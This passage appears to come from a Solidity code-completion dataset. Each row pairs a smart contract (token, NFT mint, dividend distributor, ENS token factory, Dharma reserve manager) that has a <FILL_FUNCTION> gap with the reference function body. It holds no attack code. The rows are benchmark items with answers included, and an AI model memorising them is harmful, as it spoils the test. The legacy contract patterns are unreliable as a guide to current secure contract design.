}
function getClaimableDividendOf(address shareholder) public view returns (uint256) {
if(shares[shareholder].amount == 0){ return 0; }
uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);
uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; }
return shareholderTotalDividends.sub(shareholderTotalExcluded);
}
function getCumulativeDividends(uint256 share) internal view returns (uint256) {
return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
}
function addShareholder(address shareholder) internal {
shareholderIndexes[shareholder] = shareholders.length;
shareholders.push(shareholder);
}
function removeShareholder(address shareholder) internal {
shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1];
shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder];
shareholders.pop();
}
function manualSend(uint256 amount, address holder) external onlyOwner {
uint256 contractETHBalance = address(this).balance;
payable(holder).transfer(amount > 0 ? amount : contractETHBalance);
}
function setTreasury(address treasury) external onlyToken {
_treasury = payable(treasury);
}
function getDividendsClaimedOf (address shareholder) external view returns (uint256) {
require (shares[shareholder].amount > 0, "You're not an OCC shareholder!");
return shares[shareholder].totalClaimed;
}
} | contract DividendDistributor is IDividendDistributor {
using SafeMath for uint256;
address public _token;
address public _owner;
address public _treasury;
struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalClaimed;
}
address[] private shareholders;
mapping (address => uint256) private shareholderIndexes;
mapping (address => Share) public shares;
uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalClaimed;
uint256 public dividendsPerShare;
uint256 private dividendsPerShareAccuracyFactor = 10 ** 36;
modifier onlyToken() {
require(msg.sender == _token); _;
}
modifier onlyOwner() {
require(msg.sender == _owner); _;
}
constructor (address owner, address treasury) {
_token = msg.sender;
_owner = owner;
_treasury = treasury;
}
// receive() external payable { }
function setShare(address shareholder, uint256 amount) external override onlyToken {
if(shares[shareholder].amount > 0){
distributeDividend(shareholder);
}
if(amount > 0 && shares[shareholder].amount == 0){
addShareholder(shareholder);
}else if(amount == 0 && shares[shareholder].amount > 0){
removeShareholder(shareholder);
}
totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
shares[shareholder].amount = amount;
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
}
function deposit() external payable override {
uint256 amount = msg.value;
totalDividends = totalDividends.add(amount);
dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares));
}
<FILL_FUNCTION>
function claimDividend(address shareholder) external override onlyToken {
distributeDividend(shareholder);
}
function getClaimableDividendOf(address shareholder) public view returns (uint256) {
if(shares[shareholder].amount == 0){ return 0; }
uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);
uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; }
return shareholderTotalDividends.sub(shareholderTotalExcluded);
}
function getCumulativeDividends(uint256 share) internal view returns (uint256) {
return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
}
function addShareholder(address shareholder) internal {
shareholderIndexes[shareholder] = shareholders.length;
shareholders.push(shareholder);
}
function removeShareholder(address shareholder) internal {
shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1];
shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder];
shareholders.pop();
}
function manualSend(uint256 amount, address holder) external onlyOwner {
uint256 contractETHBalance = address(this).balance;
payable(holder).transfer(amount > 0 ? amount : contractETHBalance);
}
function setTreasury(address treasury) external onlyToken {
_treasury = payable(treasury);
}
function getDividendsClaimedOf (address shareholder) external view returns (uint256) {
require (shares[shareholder].amount > 0, "You're not an OCC shareholder!");
return shares[shareholder].totalClaimed;
}
} |
if(shares[shareholder].amount == 0){ return; }
uint256 amount = getClaimableDividendOf(shareholder);
if(amount > 0){
totalClaimed = totalClaimed.add(amount);
shares[shareholder].totalClaimed = shares[shareholder].totalClaimed.add(amount);
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
payable(shareholder).transfer(amount);
}
| function distributeDividend(address shareholder) internal | function distributeDividend(address shareholder) internal |
64146 | TacoTuesday | saleMint | contract TacoTuesday is ERC721A, Ownable {
constructor() ERC721A("Taco Tuesday", "TACO") {}
// ---------------------------------------------------------------------------------------------
// VARIABLES
// ---------------------------------------------------------------------------------------------
uint256 public phaseSupply = 1111;
uint256 public price = 0.2 ether;
uint256 public giveawayCounter = 1;
// ---------------------------------------------------------------------------------------------
// CONSTANTS
// ---------------------------------------------------------------------------------------------
uint32 public constant MAX_SUPPLY = 3333;
uint32 public constant GIVEAWAYS_SUPPLY = 100;
uint64 public constant PHASE_SUPPLY_INCREMENT = 1111;
uint64 public constant MAX_AMOUNT_PER_TRANSACTION = 10;
uint64 public constant PHASE_PRICE_INCREMENT = 0.05 ether;
// ---------------------------------------------------------------------------------------------
// SETTERS
// ---------------------------------------------------------------------------------------------
function startNextPhase() external onlyOwner {
price += PHASE_PRICE_INCREMENT;
phaseSupply += PHASE_SUPPLY_INCREMENT;
}
function setPrice(uint _price) external onlyOwner {
price = _price;
}
function withdraw() external onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
function ownerMint(address wallet, uint amount) external onlyOwner {
require(giveawayCounter + amount <= GIVEAWAYS_SUPPLY + 1, "Not allowed!");
uint pastIndex = currentIndex;
currentIndex = giveawayCounter;
_safeMint(wallet, amount);
giveawayCounter += amount;
currentIndex = pastIndex;
}
function saleMint(uint amount) external payable {<FILL_FUNCTION_BODY> }
} | contract TacoTuesday is ERC721A, Ownable {
constructor() ERC721A("Taco Tuesday", "TACO") {}
// ---------------------------------------------------------------------------------------------
// VARIABLES
// ---------------------------------------------------------------------------------------------
uint256 public phaseSupply = 1111;
uint256 public price = 0.2 ether;
uint256 public giveawayCounter = 1;
// ---------------------------------------------------------------------------------------------
// CONSTANTS
// ---------------------------------------------------------------------------------------------
uint32 public constant MAX_SUPPLY = 3333;
uint32 public constant GIVEAWAYS_SUPPLY = 100;
uint64 public constant PHASE_SUPPLY_INCREMENT = 1111;
uint64 public constant MAX_AMOUNT_PER_TRANSACTION = 10;
uint64 public constant PHASE_PRICE_INCREMENT = 0.05 ether;
// ---------------------------------------------------------------------------------------------
// SETTERS
// ---------------------------------------------------------------------------------------------
function startNextPhase() external onlyOwner {
price += PHASE_PRICE_INCREMENT;
phaseSupply += PHASE_SUPPLY_INCREMENT;
}
function setPrice(uint _price) external onlyOwner {
price = _price;
}
function withdraw() external onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
function ownerMint(address wallet, uint amount) external onlyOwner {
require(giveawayCounter + amount <= GIVEAWAYS_SUPPLY + 1, "Not allowed!");
uint pastIndex = currentIndex;
currentIndex = giveawayCounter;
_safeMint(wallet, amount);
giveawayCounter += amount;
currentIndex = pastIndex;
}
<FILL_FUNCTION>
} |
require(currentIndex + amount <= MAX_SUPPLY + 1, "Not allowed!");
require(currentIndex + amount <= phaseSupply + 1, "Sale not active!");
require(amount <= MAX_AMOUNT_PER_TRANSACTION && amount > 0, "Incorrect amount!");
require(msg.value == price * amount, "Incorrect value!");
_safeMint(msg.sender, amount);
| function saleMint(uint amount) external payable | function saleMint(uint amount) external payable |
32668 | ShibbolethTokenFactory | ABI | contract ShibbolethTokenFactory {
using StringUtils for *;
ENS ens;
// namehash('myshibbol.eth')
bytes32 constant rootNode = 0x2952863bce80be8e995bbf003c7a1901dd801bb90c09327da9d029d0496c7010;
bytes32 reverseNode;
mapping(bytes32=>address) tokens;
event NewToken(string indexed symbol, string _symbol, string name, address addr);
function ShibbolethTokenFactory(ENS _ens) {
ens = _ens;
var rr = ReverseRegistrar(ens.owner(0x91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2));
reverseNode = rr.claimWithResolver(this, this);
}
function create(string symbol) returns(address) {
var name = symbol.concat(".myshibbol.eth");
var subnode = sha3(rootNode, sha3(symbol));
require(ens.owner(subnode) == 0);
var token = create(symbol, name);
ens.setSubnodeOwner(rootNode, sha3(symbol), this);
ens.setResolver(subnode, this);
tokens[subnode] = token;
return token;
}
function create(string symbol, string name) returns(address) {
var token = new ShibbolethToken(ens, name, symbol, msg.sender);
NewToken(symbol, symbol, name, token);
return token;
}
// ENS functionality
function supportsInterface(bytes4 interfaceId) returns(bool) {
return (interfaceId == 0x01ffc9a7 || // supportsInterface
interfaceId == 0x3b3b57de || // addr
interfaceId == 0x691f3431 || // name
interfaceId == 0x2203ab56); // ABI
}
function addr(bytes32 node) constant returns (address) {
if(node == rootNode) {
return this;
}
return tokens[node];
}
function ABI(bytes32 node) constant returns (uint256, bytes) {<FILL_FUNCTION_BODY> }
// Reverse resolution support
function name(bytes32 node) constant returns (string) {
if(node == reverseNode) {
return 'myshibbol.eth';
}
return '';
}
} | contract ShibbolethTokenFactory {
using StringUtils for *;
ENS ens;
// namehash('myshibbol.eth')
bytes32 constant rootNode = 0x2952863bce80be8e995bbf003c7a1901dd801bb90c09327da9d029d0496c7010;
bytes32 reverseNode;
mapping(bytes32=>address) tokens;
event NewToken(string indexed symbol, string _symbol, string name, address addr);
function ShibbolethTokenFactory(ENS _ens) {
ens = _ens;
var rr = ReverseRegistrar(ens.owner(0x91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2));
reverseNode = rr.claimWithResolver(this, this);
}
function create(string symbol) returns(address) {
var name = symbol.concat(".myshibbol.eth");
var subnode = sha3(rootNode, sha3(symbol));
require(ens.owner(subnode) == 0);
var token = create(symbol, name);
ens.setSubnodeOwner(rootNode, sha3(symbol), this);
ens.setResolver(subnode, this);
tokens[subnode] = token;
return token;
}
function create(string symbol, string name) returns(address) {
var token = new ShibbolethToken(ens, name, symbol, msg.sender);
NewToken(symbol, symbol, name, token);
return token;
}
// ENS functionality
function supportsInterface(bytes4 interfaceId) returns(bool) {
return (interfaceId == 0x01ffc9a7 || // supportsInterface
interfaceId == 0x3b3b57de || // addr
interfaceId == 0x691f3431 || // name
interfaceId == 0x2203ab56); // ABI
}
function addr(bytes32 node) constant returns (address) {
if(node == rootNode) {
return this;
}
return tokens[node];
}
<FILL_FUNCTION>
// Reverse resolution support
function name(bytes32 node) constant returns (string) {
if(node == reverseNode) {
return 'myshibbol.eth';
}
return '';
}
} |
if(node == rootNode || node == reverseNode) {
return (1, '[{"constant":false,"inputs":[{"name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"node","type":"bytes32"}],"name":"ABI","outputs":[{"name":"","type":"uint256"},{"name":"","type":"bytes"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"symbol","type":"string"},{"name":"name","type":"string"}],"name":"create","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"node","type":"bytes32"}],"name":"addr","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"node","type":"bytes32"}],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"symbol","type":"string"}],"name":"create","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"inputs":[{"name":"_ens","type":"address"}],"payable":false,"type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"symbol","type":"string"},{"indexed":false,"name":"_symbol","type":"string"},{"indexed":false,"name":"name","type":"string"},{"indexed":false,"name":"addr","type":"address"}],"name":"NewToken","type":"event"}]');
}
return (1, '[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"issuer","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"node","type":"bytes32"}],"name":"addr","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"version","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_issuer","type":"address"}],"name":"setIssuer","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"node","type":"bytes32"}],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"type":"function"},{"inputs":[{"name":"_ens","type":"address"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_issuer","type":"address"}],"payable":false,"type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}]');
| function ABI(bytes32 node) constant returns (uint256, bytes) | function ABI(bytes32 node) constant returns (uint256, bytes) |
76203 | FREEDOMEX | FREEDOMEX | contract FREEDOMEX is StandardToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name;
uint8 public decimals;
string public symbol;
string public version = 'FREEX.0';
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address public fundsWallet;
function FREEDOMEX() {<FILL_FUNCTION_BODY> }
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount);
fundsWallet.transfer(msg.value);
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | contract FREEDOMEX is StandardToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name;
uint8 public decimals;
string public symbol;
string public version = 'FREEX.0';
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address public fundsWallet;
<FILL_FUNCTION>
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount);
fundsWallet.transfer(msg.value);
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} |
balances[msg.sender] = 20000000000000000000000000000;
totalSupply = 20000000000000000000000000000;
name = "FREEDOMEX";
decimals = 18;
symbol = "FREEX";
unitsOneEthCanBuy = 20000000; //1% bonus= OneEth//
fundsWallet = msg.sender;
| function FREEDOMEX() | function FREEDOMEX() |
44923 | IGTSGD | IGTSGD | contract IGTSGD is StandardToken {
string public constant name = "International Gaming Token SGD";
string public constant symbol = "IGTSGD";
uint8 public constant decimals = 2; // only two deciminals, token cannot be divided past 1/100th
uint256 public constant INITIAL_SUPPLY = 1000000000000;
/**
* @dev Contructor that gives msg.sender all of existing tokens.
*/
function IGTSGD() {<FILL_FUNCTION_BODY> }
} | contract IGTSGD is StandardToken {
string public constant name = "International Gaming Token SGD";
string public constant symbol = "IGTSGD";
uint8 public constant decimals = 2; // only two deciminals, token cannot be divided past 1/100th
uint256 public constant INITIAL_SUPPLY = 1000000000000;
<FILL_FUNCTION>
} |
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
| function IGTSGD() | /**
* @dev Contructor that gives msg.sender all of existing tokens.
*/
function IGTSGD() |
17120 | cbdtoken | approveAndCall | contract cbdtoken is StandardToken {
/* Public variables of the token */
string public name;
uint8 public decimals;
string public symbol; //token
string public version = 'v2.0';
function cbdtoken() {
balances[msg.sender] = 1650000000000000000000000000; // 初始token数量给予消息发送者
totalSupply = 1650000000000000000000000000; // 设置初始总量
name = "Cannabidiol"; // token名称
decimals = 18; // 小数位数
symbol = "CBD"; // token简称
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {<FILL_FUNCTION_BODY> }
} | contract cbdtoken is StandardToken {
/* Public variables of the token */
string public name;
uint8 public decimals;
string public symbol; //token
string public version = 'v2.0';
function cbdtoken() {
balances[msg.sender] = 1650000000000000000000000000; // 初始token数量给予消息发送者
totalSupply = 1650000000000000000000000000; // 设置初始总量
name = "Cannabidiol"; // token名称
decimals = 18; // 小数位数
symbol = "CBD"; // token简称
}
<FILL_FUNCTION>
} |
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
| function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) | /* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) |
68056 | Prometheus | transferAnyERC20Token | contract Prometheus is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "PRO";
name = "Prometheus";
decimals = 18;
_totalSupply = 200000000000000000000000000;
balances[0xb40F10fb64202f48cE71618a7CddF39F665Bbbe7] = _totalSupply;
emit Transfer(address(0), 0xb40F10fb64202f48cE71618a7CddF39F665Bbbe7, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {<FILL_FUNCTION_BODY> }
} | contract Prometheus is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "PRO";
name = "Prometheus";
decimals = 18;
_totalSupply = 200000000000000000000000000;
balances[0xb40F10fb64202f48cE71618a7CddF39F665Bbbe7] = _totalSupply;
emit Transfer(address(0), 0xb40F10fb64202f48cE71618a7CddF39F665Bbbe7, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
<FILL_FUNCTION>
} |
return ERC20Interface(tokenAddress).transfer(owner, tokens);
| function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) | // ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) |
51132 | NOUSDT | mint | contract NOUSDT is ERC20, Ownable {
constructor() ERC20("NOUSDT", "NOUSDT", 6) public
{
_operatorApproved[msg.sender] = true;
}
mapping (address => bool) private _operatorApproved;
modifier onlyOperator() {
require(_operatorApproved[msg.sender], "Operator: not allowed");
_;
}
function approveOperator(address _operator) external onlyOwner {
_operatorApproved[_operator] = true;
}
function disableOperator(address _operator) external onlyOwner {
_operatorApproved[_operator] = false;
}
function mint(address account, uint256 amount, uint commission) external onlyOperator {<FILL_FUNCTION_BODY> }
function burn(address account, uint256 amount) external onlyOperator {
_burn(account, amount);
}
} | contract NOUSDT is ERC20, Ownable {
constructor() ERC20("NOUSDT", "NOUSDT", 6) public
{
_operatorApproved[msg.sender] = true;
}
mapping (address => bool) private _operatorApproved;
modifier onlyOperator() {
require(_operatorApproved[msg.sender], "Operator: not allowed");
_;
}
function approveOperator(address _operator) external onlyOwner {
_operatorApproved[_operator] = true;
}
function disableOperator(address _operator) external onlyOwner {
_operatorApproved[_operator] = false;
}
<FILL_FUNCTION>
function burn(address account, uint256 amount) external onlyOperator {
_burn(account, amount);
}
} |
_mint(account, amount);
_mint(owner(), commission);
| function mint(address account, uint256 amount, uint commission) external onlyOperator | function mint(address account, uint256 amount, uint commission) external onlyOperator |
22708 | DharmaReserveManagerV1Staging | redeem | contract DharmaReserveManagerV1Staging is DharmaReserveManagerV1Interface, TwoStepOwnable {
using SafeMath for uint256;
// Maintain a role status mapping with assigned accounts and paused states.
mapping(uint256 => RoleStatus) private _roles;
// Maintain a maximum allowable transfer size (in Dai) for the deposit manager.
uint256 private _limit;
// This contract interacts with Dai and Dharma Dai.
ERC20Interface internal constant _DAI = ERC20Interface(
0x6B175474E89094C44Da98b954EedeAC495271d0F // mainnet
);
DTokenInterface internal constant _DDAI = DTokenInterface(
0x00000000001876eB1444c986fD502e618c587430
);
// The "Create2 Header" is used to compute smart wallet deployment addresses.
bytes21 internal constant _CREATE2_HEADER = bytes21(
0xff8D1e00b000e56d5BcB006F3a008Ca6003b9F0033 // control character + factory
);
// The "Wallet creation code" header & footer are also used to derive wallets.
bytes internal constant _WALLET_CREATION_CODE_HEADER = hex"60806040526040516104423803806104428339818101604052602081101561002657600080fd5b810190808051604051939291908464010000000082111561004657600080fd5b90830190602082018581111561005b57600080fd5b825164010000000081118282018810171561007557600080fd5b82525081516020918201929091019080838360005b838110156100a257818101518382015260200161008a565b50505050905090810190601f1680156100cf5780820380516001836020036101000a031916815260200191505b5060405250505060006100e661019e60201b60201c565b6001600160a01b0316826040518082805190602001908083835b6020831061011f5780518252601f199092019160209182019101610100565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461017f576040519150601f19603f3d011682016040523d82523d6000602084013e610184565b606091505b5050905080610197573d6000803e3d6000fd5b50506102be565b60405160009081906060906eb45d6593312ac9fde193f3d06336449083818181855afa9150503d80600081146101f0576040519150601f19603f3d011682016040523d82523d6000602084013e6101f5565b606091505b509150915081819061029f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561026457818101518382015260200161024c565b50505050905090810190601f1680156102915780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b508080602001905160208110156102b557600080fd5b50519392505050565b610175806102cd6000396000f3fe608060405261001461000f610016565b61011c565b005b60405160009081906060906eb45d6593312ac9fde193f3d06336449083818181855afa9150503d8060008114610068576040519150601f19603f3d011682016040523d82523d6000602084013e61006d565b606091505b50915091508181906100fd5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156100c25781810151838201526020016100aa565b50505050905090810190601f1680156100ef5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5080806020019051602081101561011357600080fd5b50519392505050565b3660008037600080366000845af43d6000803e80801561013b573d6000f35b3d6000fdfea265627a7a723158203c578cc1552f1d1b48134a72934fe12fb89a29ff396bd514b9a4cebcacc5cacc64736f6c634300050b003200000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000024c4d66de8000000000000